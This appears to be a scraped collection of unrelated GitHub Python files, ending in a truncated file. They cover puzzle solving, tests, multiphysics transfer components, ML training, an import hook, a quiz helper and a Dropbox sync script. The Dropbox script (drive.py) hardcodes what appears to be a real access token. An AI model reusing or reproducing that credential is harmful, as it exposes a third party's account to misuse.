for m in moves:\n m = m.strip()\n if m == 'n':\n y -= 1\n elif m == 'ne':\n if (abs(x) % 2) == 1:\n y -= 1\n x += 1\n elif m == 'se':\n if (abs(x) % 2) == 0:\n y += 1\n x += 1\n elif m == 's':\n y += 1\n elif m == 'sw':\n if (abs(x) % 2) == 0:\n y += 1\n x -= 1\n elif m == 'nw':\n if (abs(x) % 2) == 1:\n y -= 1\n x -= 1\n else:\n print('error')\n quit()\n curdist = distance(x,y)\n if curdist > maxdist:\n maxdist = curdist\n\n print('({:d},{:d})'.format(x,y))\n return (distance(x,y), maxdist)\n\n\nif __name__ == '__main__':\n print('--- Advent of Code 2017: Day 11 ---')\n fname = 'input1.txt'\n import sys\n if len(sys.argv) == 2:\n fname = sys.argv[1]\n f = open(fname)\n data = f.read().split(',')\n f.close()\n (steps, maxdist) = run(data)\n print('(part 1) number of steps away: '+str(steps))\n print('(part 2) max distance away: '+str(maxdist))\n","repo_name":"seefdogg/adventOfCode2017","sub_path":"day11/day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"38724336728","text":"from ansible_builder.main import AnsibleBuilder\nfrom ansible_builder.cli import parse_args\n\n\ndef prepare(args):\n args = parse_args(args)\n return AnsibleBuilder(**vars(args))\n\n\ndef test_custom_image(exec_env_definition_file, tmpdir):\n content = {'version': 1}\n path = str(exec_env_definition_file(content=content))\n\n aee = prepare(['build', '-f', path, '-b', 'my-custom-image', '-c', str(tmpdir)])\n\n assert aee.containerfile.base_image == 'my-custom-image'\n\n\ndef test_build_context(good_exec_env_definition_path, tmpdir):\n path = str(good_exec_env_definition_path)\n build_context = str(tmpdir)\n aee = prepare(['build', '-f', path, '-c', build_context])\n\n assert aee.build_context == build_context\n","repo_name":"swipswaps/ansible-builder","sub_path":"test/test_cli.py","file_name":"test_cli.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"10601107725","text":"# Import sqlalchemy's create_engine() function\nfrom sqlalchemy import create_engine\nimport pandas as pd\n\n# Create the database engine\nfile_path = 'Streamlined-Data-Ingestion-with-pandas-Datacamp-main'\nengine = create_engine(f'sqlite:///../{file_path}/data.db')\n\n# View the tables in the database\n# print(engine.table_names())\n\n# Load hpd311calls without any SQL\nhpd_calls = pd.read_sql_table('hpd311calls', engine)\n\n# View the first few rows of data\n# print(hpd_calls.head())\n\n# Create a SQL query to load the entire weather table\nquery = \"\"\"\nSELECT *\nFROM weather;\n\"\"\"\n\n# Load weather with the SQL query\nweather = pd.read_sql(query, engine)\n\n# View the first few rows of data\nprint(weather.head())\n","repo_name":"tgpmoraes/curso-python","sub_path":"datacamp/data_engineering/importingData/getSQL.py","file_name":"getSQL.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22936898968","text":"import numpy as np\nfrom mpi4py import MPI\n\nimport openmdao.api as om\nfrom rlt import SimpleLDTransfer\n\ntransfer_dtype = 'd'\n# hard-coded ndof for aerodynamic solver\nndof_a = 3\n\nclass RLT_disp_xfer(om.ExplicitComponent):\n \"\"\"\n Component to perform displacement transfer using RLT\n \"\"\"\n def initialize(self):\n # Set options\n self.options.declare('xfer_object')\n self.options.declare('ndof_s')\n self.options.declare('nn_s')\n self.options.declare('nn_a')\n\n self.options['distributed'] = True\n\n # Flag used to prevent warning for fwd derivative d(u_a)/d(x_a0)\n self.check_partials = True\n\n def setup(self):\n\n # get the inputs\n RLT = self.options['xfer_object']\n ndof_s = self.options['ndof_s']\n nn_s = self.options['nn_s']\n nn_a = self.options['nn_a']\n\n # get the isAero and isStruct flags from RLT python object\n # this is done to pseudo parallelize the modal solver, where\n # only the root proc does the computations.\n self.isAero = RLT.isAero\n self.isStruct = RLT.isStruct\n\n # set attributes\n self.transfer = RLT.transfer\n self.ndof_s = ndof_s\n self.nn_s = nn_s\n self.ndof_a = ndof_a\n self.nn_a = nn_a\n total_dof_struct = self.nn_s * self.ndof_s\n total_dof_aero = self.nn_a * self.ndof_a\n\n if self.isStruct:\n # RLT depends on TACS vector types.\n # ustruct : holds the structural states\n # struct_seed : used as a seed for structural displacements and forces\n self.tacs = RLT.structSolver.structure\n self.ustruct = self.tacs.createVec()\n self.struct_seed = self.tacs.createVec()\n else:\n self.ustruct = None\n\n # Get the source indices for each of the distributed inputs.\n irank = self.comm.rank\n\n ax_list = self.comm.allgather(total_dof_aero)\n ax1 = np.sum(ax_list[:irank])\n ax2 = np.sum(ax_list[:irank+1])\n\n sx_list = self.comm.allgather(total_dof_struct)\n sx1 = np.sum(sx_list[:irank])\n sx2 = np.sum(sx_list[:irank+1])\n\n su_list = self.comm.allgather(total_dof_struct)\n su1 = np.sum(su_list[:irank])\n su2 = np.sum(su_list[:irank+1])\n\n # Inputs\n self.add_input('x_a0', shape=total_dof_aero,\n src_indices=np.arange(ax1, ax2, dtype=int),\n desc='Initial aerodynamic surface node coordinates')\n self.add_input('x_s0', shape = total_dof_struct,\n src_indices = np.arange(sx1, sx2, dtype=int),\n desc='initial structural node coordinates')\n self.add_input('u_s', shape=total_dof_struct,\n src_indices=np.arange(su1, su2, dtype=int),\n desc='Structural node displacements')\n\n # Outputs\n self.add_output('u_a', shape=total_dof_aero,\n val=np.zeros(total_dof_aero),\n desc='Aerodynamic surface displacements')\n\n # TODO disable for now for the modal solver stuff.\n # Partials\n # self.declare_partials('u_a', ['x_a0','u_s'])\n\n def compute(self, inputs, outputs):\n # Update transfer object with the current set of CFD points\n self.transfer.setAeroSurfaceNodes(inputs['x_a0'])\n\n if self.isStruct:\n # Set the structural displacements\n ustruct_array = self.ustruct.getArray()\n ustruct_array[:] = inputs['u_s']\n self.transfer.setDisplacements(self.ustruct)\n\n # Get out the aerodynamic displacements\n self.transfer.getDisplacements(outputs['u_a'])\n\n def compute_jacvec_product(self, inputs, d_inputs, d_outputs, mode):\n # TODO check if the partial computations are okay when isStruct is not True on all procs\n if mode == 'fwd':\n if 'u_a' in d_outputs:\n if 'u_s' in d_inputs:\n if self.isStruct:\n # Set the forward seed on the structural displacements\n self.struct_seed.zeroEntries()\n seed_array = self.struct_seed.getArray()\n seed_array[:] = d_inputs['u_s']\n self.transfer.setDisplacementPerturbation(self.struct_seed)\n\n # Retrieve the seed from the aerodynamic displacements\n u_ad = np.zeros(self.nn_a*self.ndof_a, dtype=transfer_dtype)\n self.transfer.getAeroSurfacePerturbation(u_ad)\n d_outputs['u_a'] += u_ad\n\n if 'x_a0' in d_inputs:\n if self.check_partials:\n pass\n else:\n raise ValueError('Forward mode requested but not implemented')\n\n if mode == 'rev':\n if 'u_a' in d_outputs:\n if 'u_s' in d_inputs:\n if self.isStruct:\n # Set the reverse seed from the aero displacements and\n # retrieve the seed on the structural displacements.\n # Note: Could also use setDisplacementsSens.\n self.transfer.zeroReverseSeeds()\n self.struct_seed.zeroEntries()\n self.transfer.addAdjointDisplacements(d_outputs['u_a'], self.struct_seed)\n\n # Pull the seed out of the TACS vector and accumulate\n seed_array = self.struct_seed.getArray()\n d_inputs['u_s'] += seed_array[:]\n\n if 'x_a0' in d_inputs:\n # Set the reverse seed from the aero displacements\n self.transfer.zeroReverseSeeds()\n if self.isStruct:\n self.transfer.setDisplacementsSens(self.ustruct,\n self.struct_seed,\n d_outputs['u_a'])\n\n # Retrieve the seed on the aerodynamic surface nodes.\n x_a0d = np.zeros(self.nn_a*self.ndof_a, dtype=transfer_dtype)\n self.transfer.setAeroSurfaceNodesSens(x_a0d)\n d_inputs['x_a0'] += x_a0d\n\n\nclass RLT_load_xfer(om.ExplicitComponent):\n \"\"\"\n Component to perform load transfers using MELD\n \"\"\"\n def initialize(self):\n # Set options\n self.options.declare('xfer_object')\n self.options.declare('ndof_s')\n self.options.declare('nn_s')\n self.options.declare('nn_a')\n\n self.options['distributed'] = True\n\n # Set everything we need to None before setup\n self.transfer = None\n self.tacs = None\n self.ndof_s = None\n self.ndof_a = None\n self.nn_s = None\n self.nn_a = None\n\n # Flag used to prevent warning for fwd derivative d(u_a)/d(x_a0)\n self.check_partials = True\n\n def setup(self):\n\n # get the inputs\n RLT = self.options['xfer_object']\n ndof_s = self.options['ndof_s']\n nn_s = self.options['nn_s']\n nn_a = self.options['nn_a']\n\n # get the isAero and isStruct flags from RLT python object\n # this is done to pseudo parallelize the modal solver, where\n # only the root proc does the computations.\n self.isAero = RLT.isAero\n self.isStruct = RLT.isStruct\n\n # set attributes\n self.transfer = RLT.transfer\n self.ndof_s = ndof_s\n self.ndof_a = ndof_a\n self.nn_s = nn_s\n self.nn_a = nn_a\n total_dof_struct = self.nn_s * self.ndof_s\n total_dof_aero = self.nn_a * self.ndof_a\n\n if self.isStruct:\n # RLT depends on TACS vector types.\n # fstruct : holds the forces on the structural nodes\n # struct_seed : used as a seed for structural displacements and forces\n self.tacs = RLT.structSolver.structure\n self.fstruct = self.tacs.createVec()\n self.struct_seed = self.tacs.createVec()\n else:\n self.fstruct = None\n\n # Get the source indices for each of the distributed inputs.\n irank = self.comm.rank\n\n ax_list = self.comm.allgather(total_dof_aero)\n ax1 = np.sum(ax_list[:irank])\n ax2 = np.sum(ax_list[:irank+1])\n\n sx_list = self.comm.allgather(total_dof_struct)\n sx1 = np.sum(sx_list[:irank])\n sx2 = np.sum(sx_list[:irank+1])\n\n su_list = self.comm.allgather(total_dof_struct)\n su1 = np.sum(su_list[:irank])\n su2 = np.sum(su_list[:irank+1])\n\n # Inputs\n self.add_input('x_a0', shape=total_dof_aero,\n src_indices=np.arange(ax1, ax2, dtype=int),\n desc='Initial aerodynamic surface node coordinates')\n self.add_input('x_s0', shape = total_dof_struct,\n src_indices = np.arange(sx1, sx2, dtype=int),\n desc='initial structural node coordinates')\n self.add_input('u_s', shape=total_dof_struct,\n src_indices=np.arange(su1, su2, dtype=int),\n desc='Structural node displacements')\n\n self.add_input('f_a', shape=total_dof_aero,\n src_indices=np.arange(ax1, ax2, dtype=int),\n desc='Aerodynamic force vector')\n\n # Outputs\n self.add_output('f_s', shape=total_dof_struct,\n desc='structural force vector')\n\n # TODO disable for now for the modal solver stuff.\n # Partials\n # self.declare_partials('f_s', ['x_a0','f_a'])\n\n def compute(self, inputs, outputs):\n # Update transfer object with the current set of CFD points\n self.transfer.setAeroSurfaceNodes(inputs['x_a0'])\n\n if self.isStruct:\n # Set the aerodynamic forces and extract structural forces\n self.fstruct.zeroEntries()\n self.transfer.addAeroForces(inputs['f_a'], self.fstruct)\n\n if self.isStruct:\n # Get numpy array version of structural forces\n f_s = self.fstruct.getArray()\n outputs['f_s'] = -f_s[:] #This negative sign was necessary, not exactly sure why\n\n def compute_jacvec_product(self, inputs, d_inputs, d_outputs, mode):\n if mode == 'fwd':\n if 'f_s' in d_outputs:\n if 'f_a' in d_inputs:\n # Set the forward seed on the aerodynamic forces and pull it\n # out on struct_seed\n self.struct_seed.zeroEntries()\n self.transfer.addAeroForces(d_inputs['f_a'], self.struct_seed)\n f_sd = self.struct_seed.getArray()\n d_outputs['f_s'] -= f_sd[:]\n\n if 'x_a0' in d_inputs:\n if self.check_partials:\n pass\n else:\n raise ValueError('Forward mode requested but not implemented')\n\n if mode == 'rev':\n if 'f_s' in d_outputs:\n # Set the reverse seed on the structural forces into the\n # struct_seed vector\n self.transfer.zeroReverseSeeds()\n self.struct_seed.zeroEntries()\n seed_array = self.struct_seed.getArray()\n seed_array[:] = d_outputs['f_s']\n\n if 'f_a' in d_inputs:\n # Extract the reverse seed on the aerodynamic forces\n f_ab = np.zeros(self.nn_a*self.ndof_a, dtype=transfer_dtype)\n self.transfer.addAeroForcesSens(np.ravel(inputs['f_a']),\n np.ravel(f_ab),\n self.struct_seed)\n d_inputs['f_a'] = -f_ab\n\n if 'x_a0' in d_inputs:\n # Set up numpy arrays. We need the tmp array as a\n # placeholder for unneeded data from addAeroForcesSens\n x_a0d = np.zeros(self.nn_a*self.ndof_a, dtype=transfer_dtype)\n tmp = np.zeros_like(x_a0d, dtype=transfer_dtype)\n\n # Set the reverse seed\n self.transfer.zeroReverseSeeds()\n self.transfer.addAeroForcesSens(inputs['f_a'], tmp,\n self.struct_seed)\n\n # Pull it out on x_a0d\n self.transfer.setAeroSurfaceNodesSens(x_a0d)\n d_inputs['x_a0'] -= x_a0d\n\nclass RLT_builder(object):\n\n def __init__(self, options, aero_builder, struct_builder):\n self.options=options\n self.aero_builder = aero_builder\n self.struct_builder = struct_builder\n\n # api level method for all builders\n def init_xfer_object(self, comm):\n\n aero_solver = self.aero_builder.get_solver()\n struct_solver = self.struct_builder.get_solver()\n\n\n # if the struct_solver is none, we should pass none instead of dummy pytacs\n if struct_solver is None:\n dummy_pytacs = None\n else:\n #TODO: make this better. RLT is expecting a pytacs object to be\n # passed in, but it only needs the actual TACS object and the\n # structural comm. So I just created a dummy object for now that\n # references the attributes of the struct_assembler. I could have\n # passed in the struct_assembler, but wasn't sure if that was\n # bad practice.\n class dummy_pytacs: pass\n dummy_pytacs.structure = struct_solver\n dummy_pytacs.comm = comm\n\n self.xfer_object = SimpleLDTransfer(\n aero_solver,\n dummy_pytacs,\n comm=comm,\n options=self.options\n )\n\n # TODO also do the necessary calls to the struct and aero builders to fully initialize MELD\n # for now, just save the counts\n self.struct_ndof = self.struct_builder.get_ndof()\n self.struct_nnodes = self.struct_builder.get_nnodes()\n self.aero_nnodes = self.aero_builder.get_nnodes()\n\n # api level method for all builders\n def get_xfer_object(self):\n return self.xfer_object\n\n # api level method for all builders\n def get_element(self):\n\n disp_xfer = RLT_disp_xfer(\n xfer_object=self.xfer_object,\n ndof_s=self.struct_ndof,\n nn_s=self.struct_nnodes,\n nn_a=self.aero_nnodes,\n )\n\n load_xfer = RLT_load_xfer(\n xfer_object=self.xfer_object,\n ndof_s=self.struct_ndof,\n nn_s=self.struct_nnodes,\n nn_a=self.aero_nnodes,\n )\n\n return disp_xfer, load_xfer","repo_name":"joanibal/mphys","sub_path":"mphys/mphys_rlt.py","file_name":"mphys_rlt.py","file_ext":"py","file_size_in_byte":14815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22781836694","text":"from terraform_external_data import terraform_external_data\nimport yaml\nimport subprocess\nimport sys\nimport csv\nimport os\nimport json\nfrom io import StringIO\nimport click\nfrom more_itertools import flatten\nimport pprint\npp = pprint.PrettyPrinter(indent=4)\n\ndef tobool(value):\n return value.lower() in ['1',\"true\",\"t\"]\n\n@click.command()\n@click.option('--users')\n@click.option('--stations')\n@click.option('--outfile')\ndef app(users,stations,outfile):\n with click.open_file(stations, 'r') as stf:\n stations = yaml.safe_load(stf)\n with click.open_file(users, 'r') as usrs:\n usrsfile = csv.DictReader(usrs, delimiter=',', skipinitialspace=True, quoting=csv.QUOTE_NONE)\n users = []\n for user_dict in usrsfile:\n user = dict(user_dict)\n user['num'] = int(user['num'])\n users.append(user)\n for station in stations:\n selected_user = [user for user in users if user['caster'] == station['caster'] and int(user['num'])>0]\n if not selected_user:\n raise Exception(F\"station: {station} didn't found user\")\n exit(1)\n else:\n selected_user= selected_user[0]\n station['user'] = [selected_user['user']]\n station['password'] = [selected_user['password']]\n selected_user['num'] = selected_user['num'] - 1\n csv_columns = users[0].keys()\n remaining_users_csv_file = StringIO()\n writer = csv.DictWriter(remaining_users_csv_file, fieldnames=csv_columns)\n writer.writeheader()\n for user in users:\n writer.writerow(user)\n remaining_users_csv_file.seek(0)\n with click.open_file(outfile, 'w') as outf:\n outf.write(json.dumps(dict(stations=stations)))\n outf.close()\n return {\"result\": json.dumps(stations), \"remaining_users_csv\": remaining_users_csv_file.read() }\n\nif __name__ == '__main__':\n # Always protect Python scripts from import side effects with\n # a condition to check the __name__. Not specifically necessary\n # for terraform_external_data, but it's a best practice in general.\n app()\n ","repo_name":"hemzaz/scripts","sub_path":"config_generator/create_stations_with_users.py","file_name":"create_stations_with_users.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33255531834","text":"import os\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport model\nfrom skimage import io,transform\nfrom tqdm import tqdm\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils import np_utils\n\nINPUT_SIZE = (224, 224, 3)\nN_CLASSES = 120\nLEARNING_RATE = 2e-5\nEPOCHS = 1\nBATCH_SIZE = 10\nLOAD_PRETRAIN = False\n\ndef softmax(x):\n return np.exp(x) / np.sum(np.exp(x), axis=0)\n\ndef train_eval(sess, x_data, y_label, batch_size, train_phase, is_eval, epoch=None):\n n_sample = x_data.shape[0]\n n_batch = int((n_sample+batch_size-1) / batch_size)\n tmp_loss, tmp_acc = 0, 0\n for batch in range(n_batch):\n start = batch * batch_size\n end = min(n_sample, start + batch_size)\n _, batch_loss, batch_acc = sess.run([train_op, loss, accuracy],\n feed_dict={x: x_data[start:end], y: y_label[start:end],\n is_training: train_phase})\n tmp_loss += batch_loss * (end - start)\n tmp_acc += batch_acc * (end - start)\n tmp_loss /= n_sample\n tmp_acc /= n_sample\n if train_phase:\n print('\\nepoch: {0}, loss: {1:.4f}, acc: {2:.4f}'.format(epoch+1, tmp_loss, tmp_acc))\n return tmp_loss, tmp_acc\n\ndef test_eval(sess, x_data, train_phase):\n batch_size = 1\n n_sample = x_data.shape[0]\n n_batch = int((n_sample+batch_size-1) / batch_size)\n tmp_pred=[]\n log=[]\n for batch in range(n_batch):\n start = batch * batch_size\n end = min(n_sample, start + batch_size)\n tmp_logits = sess.run(logits, feed_dict={x: x_data[start:end], is_training: train_phase})\n tmp=softmax(np.squeeze(tmp_logits))\n tmp_pred.append(tmp)\n tmp_pred = np.array(tmp_pred)\n\n return tmp_pred\n\n#data preprocessing\n'''\ntrain_data ,train_label ,test_data = [], [], []\n\ntrain_csv = pd.read_csv('./labels.csv')\nfor i in train_csv['id']:\n tempImage = io.imread('./train/{}.jpg'.format(i))\n tempImage = transform.resize(tempImage, INPUT_SIZE, mode = 'constant')\n train_data.append(tempImage)\n train_label.append(i)\n# transform to integer\ntrain_label = preprocessing.LabelEncoder().fit_transform(train_label)\n# transform to binary\ntrain_label = preprocessing.OneHotEncoder().fit_transform(train_label.reshape(-1,1)).toarray()\nprint(\"read all train\")\ntrain_data = np.array(train_data)\ntrain_label = np.array(train_label)\n\ntest_csv = pd.read_csv('./sample_submission.csv')\nfor i in test_csv['id']:\n tempImage = io.imread('./test/{}.jpg'.format(i))\n tempImage = transform.resize(tempImage, INPUT_SIZE, mode = 'constant')\n test_data.append(tempImage)\n\ntest_data = np.array(test_data)\nprint(\"read all test\")\n'''\ntrain_data, train_label, test_data = [], [],[]\nfor i in range(1,5):\n temp = np.load('./trainData{}.npy'.format(i))\n if i == 1:\n train_data = temp\n else:\n train_data = np.concatenate(temp)\nfor i in range(1,5):\n temp = np.load('./testData{}.npy'.format(i))\n if i == 1:\n train_data = temp\n else:\n train_data = np.concatenate(temp)\ntrain_label = np.load('./trainLabel.npy')\n\nif __name__ == '__main__':\n x = tf.placeholder(dtype=tf.float32, shape=(None, INPUT_SIZE[0], INPUT_SIZE[1], INPUT_SIZE[2]), name='x')\n y = tf.placeholder(dtype=tf.float32, shape=(None, N_CLASSES), name='y')\n is_training = tf.placeholder(dtype=tf.bool, shape=(), name='train_phase')\n\n logits = model.VGG16(x=x, is_training=is_training, n_classes=N_CLASSES)\n\n with tf.name_scope('LossLayer'):\n loss = tf.losses.softmax_cross_entropy(onehot_labels=y, logits=logits)\n with tf.name_scope('Optimizer'):\n train_op = tf.train.AdamOptimizer(LEARNING_RATE).minimize(loss)\n with tf.name_scope('Accuracy'):\n accuracy = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(y, axis=1), tf.argmax(logits, axis=1)), tf.float32))\n\n init = tf.global_variables_initializer()\n\n restore_variable = [var for var in tf.global_variables() if var.name.startswith('')]\n\n train_loss , train_acc = [], []\n saver = tf.train.Saver()\n config = tf.ConfigProto()\n config.gpu_options.per_process_gpu_memory_fraction = 0.5\n with tf.Session(config=config) as sess:\n if LOAD_PRETRAIN:\n saver.restore(sess, 'model/model.ckpt')\n else:\n sess.run(init)\n\n for i in range(EPOCHS):\n loss, accuracy = train_eval(sess=sess, x_data=train_data, y_label=train_label, batch_size=BATCH_SIZE,\n train_phase=True, is_eval=False,epoch=i)\n train_loss.append(loss)\n train_acc.append(accuracy)\n\n saver.save(sess, 'model/model.ckpt')\n ans = test_eval(sess=sess, x_data=test_data, train_phase=False)\n\nplt.plot(train_acc)\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.show()\n\nplt.plot(train_loss)\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.show()\n\nIndex = pd.read_csv(\"sample_submission.csv\")\npicID = Index[\"id\"]\ntemp = list(Index.columns.values)\ntemp = np.array(temp)\nbreed = temp[1:121]\noutput = pd.DataFrame(ans, index = picID, columns = breed)\noutput.to_csv(\"output.csv\")\n","repo_name":"TsungHuaLee/HW_ML","sub_path":"Dog_Breed_Recognition/hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":5179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25559595085","text":"import importlib.abc\nimport os\nimport sys\nimport types\nfrom importlib.machinery import ModuleSpec\nfrom pathlib import Path\nfrom importlib.abc import Loader\nfrom importlib.util import spec_from_file_location\nfrom typing import Sequence, Union, Optional, List\n\n\nclass KeyringSubprocessFinder(importlib.abc.MetaPathFinder):\n @staticmethod\n def path():\n return Path(__file__).parent.parent / \"_vendor\"\n\n def __init__(self, *args, **kwargs):\n self._load_vendored_deps = False\n super().__init__(*args, **kwargs)\n\n def find_spec(\n self,\n fullname: str,\n paths: Optional[Sequence[Union[bytes, str]]],\n target: Optional[types.ModuleType] = ...,\n ) -> Optional[ModuleSpec]:\n location = self.location(fullname.split(\".\"))\n\n if not location:\n return None\n\n spec = spec_from_file_location(fullname, location)\n spec.loader = KeyringSubprocessLoader(spec.loader)\n\n return spec\n\n def location(self, segments: List[str]) -> Optional[Path]:\n if segments[0] == \"keyring\":\n self._load_vendored_deps = sys.version_info < (3, 10)\n elif self._load_vendored_deps:\n pass\n else:\n return None\n\n segments, files = (\n segments[:-1],\n [\n f\"{segments[-1]}{os.sep}__init__.py\",\n f\"{segments[-1]}.py\",\n ],\n )\n location = self.path()\n\n for segment in segments:\n location = location / segment\n if not location.exists():\n return None\n\n for file in files:\n file = location / file\n if file.exists():\n return file\n\n return None\n\n\nclass KeyringSubprocessLoader(Loader):\n def __init__(self, loader):\n self.loader = loader\n\n def __getattr__(self, item):\n return getattr(self.loader, item)\n\n def exec_module(self, module: types.ModuleType) -> None:\n self.loader.exec_module(module)\n if module.__name__ == \"keyring\":\n from keyring.backends.chainer import ChainerBackend\n\n ChainerBackend()\n","repo_name":"Darsstar/keyring-subprocess","sub_path":"src/keyring_subprocess/_internal/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8311301714","text":"import json\n\ndef load_questions_from_json():\n file = open('data.json', 'r', encoding='utf-8')\n data = json.load(file)\n file.close()\n return data\n\ndef show_field(questions):\n for category_name, category_questions in questions.items():\n print(category_name.ljust(17), end='')\n for prise, questions_data in category_questions.items():\n asked = questions_data['asked']\n if not asked:\n print(prise.ljust(5), end=' ')\n else:\n print(\" \".ljust(5), end=' ')\n print()\nquestions = load_questions_from_json()\n#show_field(questions)\n\ndef parse_input(user_input):\n user_data = user_input.split(\" \")\n\n if len(user_data) != 2:\n return False\n return {\"category\": user_data[0], 'prise': user_data[1]}\n\n#print(parse_input('Еда 100'))\n\ndef print_questions(questions_text):\n print(f\"Слово {questions_text} означает \")\n\ndef show_stats(points, correct, incorrect):\n print('У нас закончились вопросы')\n print('')\n print(f'Ваш счет {points}')\n print(f'Верных ответов {correct}')\n print(f'Неверных ответов {incorrect}')\n\n\n\ndef save_results_to_file(points, correct, incorrect):\n file = open('results.json', 'r')\n results = json.load(file)\n file.close()\n\n results.append({\"points\": points, \"correct\": correct, \"incorrect\": incorrect})\n\n file = open('results.json', 'w')\n json.dump(results, file)\n file.close()\n\n","repo_name":"W83w/Course-2-Django","sub_path":"г2 7.4/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72061096083","text":"\n# Include the Dropbox SDK\nimport dropbox\nimport requests\nimport os\nassert dropbox\nclass RemoteManager:\n def __init__(self):\n self.access_token='i7l8kexaJPAAAAAAAAABtaE_9wmLol-0Wqh3jY0p2_V3YoCTgagLHzwZ3OJXqEUy'\n self.dbx = dropbox.Dropbox(self.access_token)\n self.dbx.users_get_current_account()\n self.url = \"https://webdb-199518.appspot.com/\"\n self.GET_VALUE = \"getvalue\"\n self.STORE_VALUE = \"storeavalue\"\n def ls(self,path=''):\n return self.dbx.files_list_folder(path).entries\n def get(self,path,local_path='./'):\n self.dbx.files_download_to_file(local_path,'/'+path)\n def put(self,fi,path):\n with open(fi, 'rb') as f:\n self.dbx.files_upload(f.read(), '/'+path,mode=dropbox.files.WriteMode('overwrite', None))\n def listen(self,option):\n r = requests.post(self.url+self.GET_VALUE, {\"tag\":option})\n text = r.json()\n #print(text)\n req = int(text[2][1])\n return req\n def say(self,option,v):\n requests.post(self.url+self.STORE_VALUE, {\"tag\":option,\"value\":v})\n\nif __name__ == '__main__':\n rm=RemoteManager()\n while True:\n if rm.listen()==True:\n print('downloading')\n rm.get('recording1.3gp','./data/record/record.3gp')\n os.system('cd ./data/record/ && ffmpeg -y -i record.3gp -crf 18 record.wav' )\n","repo_name":"onedayatatime0923/MakeNTU","sub_path":"drive.py","file_name":"drive.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35885224646","text":"import time\nimport ray\nimport lanelet2\nimport igraph\nimport os\nimport src.computation as computation\n\n# fewer than 20 ts will be computed in serial manner not parallel\nMAX_SERIAL_TIMESTAMPS = 20\n\n\nclass Coordinator:\n def __init__(\n self, scenario, osm_path, origin, timestamp_list, verbose, output_dir=\"./dotgraphs\"\n ):\n self.scenario = scenario\n self.osm_path = osm_path\n self.origin = origin\n self.verbose = verbose\n self.timestamp_list = timestamp_list\n self.output_dir = output_dir\n self.results = []\n\n # find cropping box\n self._max_x, self._min_x = -10e9, 10e9\n self._max_y, self._min_y = -10e9, 10e9\n margin = 100\n for entity_id, entity in self.scenario._entity_dict.items():\n for entity_state in entity._entity_states_dict.values():\n self._max_x = max(entity_state.x, self._max_x)\n self._max_y = max(entity_state.y, self._max_y)\n self._min_x = min(entity_state.x, self._min_x)\n self._min_y = min(entity_state.y, self._min_y)\n self._max_x += margin\n self._max_y += margin\n self._min_y -= margin\n self._min_y -= margin\n\n def coordinate(self):\n\n lanelet_map = computation.read_to_lanelet_map(\n self.osm_path, self.origin, (self._max_x, self._min_x, self._max_y, self._min_y))\n\n traffic_rules = lanelet2.traffic_rules.create(\n lanelet2.traffic_rules.Locations.Germany, lanelet2.traffic_rules.Participants.Vehicle\n )\n routing_graph = lanelet2.routing.RoutingGraph(\n lanelet_map, traffic_rules)\n file_path = f\"./{hash(lanelet_map)}transformed_graph.graphml\"\n\n routing_graph.exportGraphML(file_path)\n graph = igraph.Graph().Read_GraphML(file_path)\n os.remove(file_path)\n\n if not os.path.exists(self.output_dir):\n os.makedirs(self.output_dir)\n\n if len(self.timestamp_list) < MAX_SERIAL_TIMESTAMPS:\n for timestamp in self.timestamp_list:\n self.compute(timestamp, graph)\n else:\n # Start Ray\n tic = time.perf_counter()\n if not ray.is_initialized():\n ray.init(ignore_reinit_error=True)\n toc = time.perf_counter()\n if self.verbose:\n print(f\"STARTING RAY TOOK {toc-tic:0.4f} seconds\")\n for timestamp in self.timestamp_list:\n results = self.compute_in_parallel.remote(\n self, timestamp, graph)\n ray.get(results)\n\n @ray.remote\n def compute_in_parallel(self, timestamp, graph):\n \"\"\"Runs the compute function in parallel\n\n Args:\n timestamp (int): the timestamp to compute\n graph (igraph.Graph): the routing graph of the scenario\n \"\"\"\n self.compute(timestamp, graph)\n\n def compute(self, timestamp, graph):\n \"\"\"Takes all the necessary steps to compute a Semantic Scene Graph. Writes the finished\n graph to the specified output directory\n\n Args:\n timestamp (int): the timestamp to compute\n graph (igraph.Graph): the routing graph of the scenario\n \"\"\"\n scene = self.scenario.get_scene(timestamp)\n lanelet_map = computation.read_to_lanelet_map(\n self.osm_path, self.origin, (self._max_x, self._min_x, self._max_y, self._min_y))\n matching_dict = computation.ProbabilisticMatchingDict(\n scene, lanelet_map)\n roadgraph = computation.Roadgraph(\n lanelet_map, matching_dict, graph, self.verbose)\n projection_identity_dict = computation.ProjectionIdentityDict(\n matching_dict, self.verbose)\n\n semantic_scene_graph = computation.SemanticSceneGraph(\n matching_dict, scene, roadgraph, projection_identity_dict,\n # SHORTEST, MOST_LIKELY, KEEP_ALL, NO_PARALLEL\n edge_mode=computation.EdgeMode.MOST_LIKELY\n )\n semantic_scene_graph.write_dot(\n 